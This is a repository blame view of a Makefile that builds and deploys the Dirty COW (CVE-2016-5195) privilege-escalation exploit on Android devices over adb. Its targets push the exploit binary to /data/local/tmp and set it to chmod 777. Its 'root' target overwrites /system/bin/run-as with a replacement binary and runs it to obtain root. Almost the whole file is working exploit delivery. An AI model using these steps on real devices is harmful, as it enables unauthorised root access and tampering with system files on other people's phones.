Blame view

exploits/CVE-2016-5195/Makefile 864 Bytes
Imanol-Mikel Barba Sabariego authored
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

ARCH := $(shell adb shell getprop ro.product.cpu.abi)
SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk)

all: build

build:
	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) APP_PLATFORM=android-$(SDK_VERSION)

push: build
	adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow

test: push
	adb push test.sh /data/local/tmp/test.sh
	adb shell 'chmod 777 /data/local/tmp/dcow'
	adb shell 'chmod 777 /data/local/tmp/test.sh'
	adb shell '/data/local/tmp/test.sh'
	adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2'
	adb shell 'cat /data/local/tmp/test2'
	adb shell 'cat /data/local/tmp/test2' | xxd

root: push
	adb push libs/$(ARCH)/run-as /data/local/tmp/run-as
	adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
	adb shell /system/bin/run-as

clean:
	rm -rf libs
	rm -rf obj